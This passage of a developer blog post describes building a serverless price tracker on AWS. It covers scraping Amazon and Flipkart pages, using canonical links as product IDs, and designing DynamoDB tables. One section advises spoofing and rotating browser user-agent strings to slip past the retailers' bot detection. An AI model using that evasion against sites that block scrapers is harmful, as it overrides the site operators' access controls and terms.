&lt;/ul&gt;
&lt;h2 id=&quot;application-specifications&quot;&gt;Application Specifications&lt;/h2&gt;
&lt;p&gt;From a functional standpoint, the application would do the following&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Track the prices of only the products the users have requested tracking for.&lt;/li&gt;
&lt;li&gt;Send alerts to the users whenever the prices of the products they’re tracking changes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I decided not to implement any user authentication, as that would increase the complexity a lot. It can always be added later if I feel like it.&lt;/p&gt;
&lt;p&gt;As for the technical architecture, the product would be&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Highly scalable.&lt;/li&gt;
&lt;li&gt;Built with AWS using a serverless architecture.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I decided to use Python as the programming language, along with the &lt;a href=&quot;http://serverless.com/&quot;&gt;serverless framework&lt;/a&gt; to ease deployment. So without further ado, let’s dive into the core of the discussion, i.e. building the application itself.&lt;/p&gt;
&lt;h2 id=&quot;scraping-prices-from-amazon-and-flipkart&quot;&gt;Scraping Prices from Amazon and Flipkart&lt;/h2&gt;
&lt;p&gt;My go-to tools for scraping are &lt;a href=&quot;https://requests.readthedocs.io/en/master/&quot;&gt;&lt;code&gt;requests&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://lxml.de/&quot;&gt;&lt;code&gt;lxml&lt;/code&gt;&lt;/a&gt;. You must have come across &lt;code&gt;requests&lt;/code&gt; already, it might be the most popular Python library of all time. But still, if you didn’t know, it’s an HTTP library with a very elegant and easy-to-use interface, and even the Python core team recommends using this over their native HTTP library &lt;a href=&quot;https://docs.python.org/3/library/urllib.request.html&quot;&gt;&lt;code&gt;urllib.request&lt;/code&gt;&lt;/a&gt;. Using &lt;code&gt;requests&lt;/code&gt; we can download the HTML page from the Amazon or Flipkart product page, and then we’ll use &lt;code&gt;lxml&lt;/code&gt; to parse the HTML and extract the relevant information from it. There are some alternatives to &lt;code&gt;lxml&lt;/code&gt; we could’ve used—&lt;a href=&quot;https://www.crummy.com/software/BeautifulSoup/bs4/doc/&quot;&gt;&lt;code&gt;beautifulsoup&lt;/code&gt;&lt;/a&gt; comes to mind—but &lt;code&gt;lxml&lt;/code&gt; is much more faster than its competition, mostly because it is a compiled C library at it’s core.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.python-guide.org/scenarios/scrape/&quot;&gt;&lt;em&gt;This article&lt;/em&gt;&lt;/a&gt; is an excellent quickstart guide to scraping using &lt;code&gt;requests&lt;/code&gt; and &lt;code&gt;lxml&lt;/code&gt;. I’m not going to cover the scraping code I wrote in detail, instead I’m going to cover some interesting problems I faced and how I solved them. If you’re unfamiliar with these libraries or scraping in general, check it out and you’ll be up to speed in no time.&lt;/p&gt;
&lt;h3 id=&quot;getting-an-unique-product-identifier&quot;&gt;Getting an Unique Product Identifier&lt;/h3&gt;
&lt;p&gt;I figured I’d need an unique identifier for every product I’ll be tracking. I had noticed that both Amazon and Flipkart uses a product id in their URL, so either I can extract that id from the URL, or I can use the entire URL itself as the identifier. But there is a problem with both of these approaches—I can’t expect an user to give a clean URL as an input to the application, they’ll most likely input URLs with lots of query parameters and tracking codes and what not. For example, this is what a typical input URL might look like&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;https://www.amazon.in/AmazonBasics-Hard-Camera-Case-Small/dp/B01L0LVDJO?pf_rd_r=P97H15WNVRADNZB27YZJ&amp;amp;pf_rd_p=8867cdc3-4624-428d-8e35-5e1d8221fe8a&amp;amp;pd_rd_r=50e65a90-dc1f-4d36-8736-caea744b47a9&amp;amp;pd_rd_w=FZhh0&amp;amp;pd_rd_wg=6fR1i&amp;amp;ref_=pd_gw_wish&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can’t use this as an unique identifier, as the query parameters will change depending upon various factors. So, we have to extract the core URL without the query parameters, something like the following&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;https://www.amazon.in/AmazonBasics-Hard-Camera-Case-Small/dp/B01L0LVDJO&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You might be thinking, “this is pretty easy, we can just use a URL parsing library to parse the URL and get the parts we want”. And you would be right if it was just query parameters we were dealing with, turns out some Amazon URLs look like the following&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;https://www.amazon.in/gp/product/B00SHFP99W/ref=ppx_yo_dt_b_asin_title_o02_s00?ie=UTF8&amp;amp;psc=1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, the part starting with &lt;code&gt;ref&lt;/code&gt; is redundant, despite it not being a query parameter. Also, as you might have noticed, sometimes the URL contains the product name as a slug, sometimes it doesn’t. If we were to do the parsing manually, we would have to take care of all of these fringe cases manually, and even then we could not be sure if covered all cases or not.&lt;/p&gt;
&lt;h3 id=&quot;solution-canonical-link&quot;&gt;Solution: Canonical Link&lt;/h3&gt;
&lt;p&gt;There is a very simple solution to this problem of getting an unique product URL. You see, search engines faced this problem a long time ago; as soon as websites started using dynamic routing, the URL wasn’t anymore a reliable way of fingerprinting an webpage. That’s why it became industry standard to include a &lt;a href=&quot;https://en.wikipedia.org/wiki/Canonical_link_element&quot;&gt;canonical link&lt;/a&gt; in every page, which is just a &lt;code&gt;link&lt;/code&gt; tag with &lt;code&gt;rel=canonical&lt;/code&gt; parameter included in the &lt;code&gt;head&lt;/code&gt; section of an webpage. You can read more about canonical link &lt;a href=&quot;https://en.wikipedia.org/wiki/Canonical_link_element&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For an Amazon product page, the canonical link tag looks like the following&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;html&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;link&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;  rel&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;canonical&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;  href&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;https://www.amazon.in/Brother-HL-L2321D-Single-Function-Monochrome-Printing/dp/B00SHFP99W&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can use this canonical link safely as an unique identifier for products, as the responsibility of this being correct now falls on the Amazon developers, not us. Now all that’s left is extracting this link, the following &lt;code&gt;XPath&lt;/code&gt; does the job perfectly&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;xpath&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;//link[@rel=&quot;canonical&quot;]/@href&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;escaping-bot-detection&quot;&gt;Escaping Bot Detection&lt;/h3&gt;
&lt;p&gt;Most websites try to stop scraping by using some bot detection techniques. Some of these can be quite sophisticated and hard to get around, but fortunately neither Amazon or Flipkart is using any sophisticated technique.&lt;/p&gt;
&lt;p&gt;Whenever you hit any bot detection or captcha page while scraping, the first thing you should pay attention to is your &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent&quot;&gt;&lt;code&gt;User-Agent&lt;/code&gt;&lt;/a&gt; string, which is a string the client—usually the web browser—sends to the server in order to identify itself. Libraries like &lt;code&gt;requests&lt;/code&gt; send a custom user agent string, so the server might be filtering the traffic using that. So make sure to use a standard user agent string, like that of Chrome, so that your script is not that easily identifiable.&lt;/p&gt;
&lt;p&gt;I was getting blocked even after I used the user agent of Chrome, so the next thing I tried was rotating the user agent for each request. I hard coded a list of user agents in my script, and for each request I used a random one from that list. This was enough to get around the bot detection system of both Amazon and Flipkart.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For reference, you can use this &lt;a href=&quot;https://www.whatismybrowser.com/guides/the-latest-user-agent/&quot;&gt;website&lt;/a&gt; to get the latest user agents of the popular browsers.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-application-architecture&quot;&gt;The Application Architecture&lt;/h2&gt;
&lt;p&gt;Now that we have a script for scraping prices, let’s discuss the core application and its design. As with the previous section, I’m not going to describe the code in detail or go over every part of the application, I’m just going to discuss some scalability issues I faced and the design decisions I made regarding those.&lt;/p&gt;
&lt;h3 id=&quot;the-database-schema&quot;&gt;The Database Schema&lt;/h3&gt;
&lt;p&gt;I decided to use DynamoDB as the database, as far as I know that is the best choice for a completely serverless application.&lt;/p&gt;
&lt;p&gt;As for the tables, I started developing the application with a single table, that would contains objects that I dubbed &lt;code&gt;bargain&lt;/code&gt;. A typical &lt;code&gt;bargain&lt;/code&gt; would look like the following&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  &quot;bargainId&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;339c94149456e5046b2284906c8acac0&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  &quot;email&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;sumit@skghosh.me&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  &quot;productTitle&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;Quaker Oats, 1.5kg Pack&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  &quot;productUrl&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;https://www.amazon.in/Quaker-Oats-1-5kg-Pack/dp/B00L2K9DM8&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  &quot;latestPrice&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;234&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  &quot;subscribed&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, a bargain captures all the information related to a tracking request made by an user. Now having this, a straightforward way of going forward can be like the following: I can schedule a Lambda function to run every 30 minutes or so—the function can just go through all of the &lt;code&gt;bargain&lt;/code&gt;s in the table one by one, check the price of the product using the &lt;code&gt;productUrl&lt;/code&gt;, and the notify &lt;code&gt;email&lt;/code&gt; if the new &lt;code&gt;latestPrice&lt;/code&gt; is different than the old one. But this will quickly run into scaling issues&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;As the number of users and the number of &lt;code&gt;bargain&lt;/code&gt;s increase, the same product can be tracked by multiple people. And that means the application will scrape the same product page multiple times. Scraping the product page is a very expensive operation, so this is a inefficiency we need to take care of.&lt;/li&gt;
&lt;li&gt;Once the number of &lt;code&gt;bargain&lt;/code&gt;s is large enough, the Lambda function will take a long time to complete, and the limit for Lambda execution time is 15 minutes, so we’re quickly going to hit a wall.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let’s discuss the first issue first. We need to get all the unique &lt;code&gt;productUrl&lt;/code&gt;s from the table—doing this in a SQL database would be easy enough, but when we’re working with a NoSQL database like DynamoDB it gets a bit complex. DynamoDB doesn’t offer any efficient way to fetch unique attributes from the objects. One way to do it would be getting &lt;em&gt;all&lt;/em&gt; the objects, and the doing the deduplication in your code. As we can imagine, this will be pretty inefficient. A better way to do it would be maintaining a separate table for the unique &lt;code&gt;productUrl&lt;/code&gt;s, and then making sure that table keeps in sync with your main table—either using &lt;a href=&quot;https://aws.amazon.com/blogs/database/dynamodb-streams-use-cases-and-design-patterns/&quot;&gt;DynamoDB streams + Lambda&lt;/a&gt;, or using client-side code. The former would’ve made the application much more complex than it needs to be, so I went with the latter.&lt;/p&gt;
&lt;p&gt;So I created a separate table for &lt;code&gt;product&lt;/code&gt; objects, an example would be like the following&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  &quot;latestPrice&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;234&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  &quot;productTitle&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;Quaker Oats, 1.5kg Pack&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  &quot;productUrl&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;https://www.amazon.in/Quaker-Oats-1-5kg-Pack/dp/B00L2K9DM8&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now with this, whenever I need to scrape prices I can just go through the &lt;code&gt;products&lt;/code&gt; table and avoid scraping the same object multiple times.&lt;/p&gt;
&lt;p&gt;I wanted to give the users choice to turn their subscription on or off, but then again the same problem of duplication comes into picture, as there will mostly likely be multiple &lt;code&gt;bargain&lt;/code&gt;s for every user. If I don’t separate out the subscription information in another table, I’ll have to modify multiple objects for every subscription update request, which is inefficient and not cost-effective. So I separated subscriptions into another table too.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  &quot;email&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;sumit@skghosh.me&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  &quot;subscribed&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With these information separated out into different tables, the main &lt;code&gt;bargain&lt;/code&gt; object is left with the following&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  &quot;bargainId&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;339c94149456e5046b2284906c8acac0&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  &quot;email&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;sumit@skghosh.me&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  &quot;productTitle&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;Quaker Oats, 1.5kg Pack&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;  &quot;productUrl&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;https://www.amazon.in/Quaker-Oats-1-5kg-Pack/dp/B00L2K9DM8&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I had a roadblock while deciding on a primary partition key for the &lt;code&gt;bargain&lt;/code&gt; table. I needed an unique value for this, because I wanted the ability to delete individual bargains easily; and there’s also the fact that an uniformly distributed unique partition key increases performance of DynamoDB. Amazon &lt;a href=&quot;https://aws.amazon.com/blogs/database/choosing-the-right-dynamodb-partition-key/&quot;&gt;recommends&lt;/a&gt; using composite attributes as partition key this for details. So I did just that: I took the md5 hash of the concatenation of the &lt;code&gt;email&lt;/code&gt; and &lt;code&gt;productTitle&lt;/code&gt; strings, and used it as the &lt;code&gt;bargainId&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Finally, there is the problem of indexing. Looking up all the bargains an user has, i.e. all the products he’s tracking, is an essential function. So is looking up all the users who are tracking a particular product, this will be used by the cron function for sending notifications. But a DynamoDB table offers efficient lookup using only the partition key, to enable lookup by the other keys we’ll have to create &lt;a href=&quot;https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/GSI.html&quot;&gt;global secondary indexes&lt;/a&gt;, and that’s exactly what we’re going to do. In our case, &lt;code&gt;bargainId&lt;/code&gt; is already the partition key, so we’re going to two global secondary indexes for the &lt;code&gt;email&lt;/code&gt; and &lt;code&gt;productUrl&lt;/code&gt; keys respectively.&lt;/p&gt;
&lt;p&gt;So finally, the Cloudformation templates of the DynamoDB tables look like the following&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;BargainsDynamoDBTable&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;  Type&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;AWS::DynamoDB::Table&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;  Properties&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    TableName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;${self:custom.bargainsTableName}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    ProvisionedThroughput&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;      ReadCapacityUnits&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;      WriteCapacityUnits&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    AttributeDefinitions&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;AttributeName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;bargainId&lt;/span&gt;&lt;/span&gt;
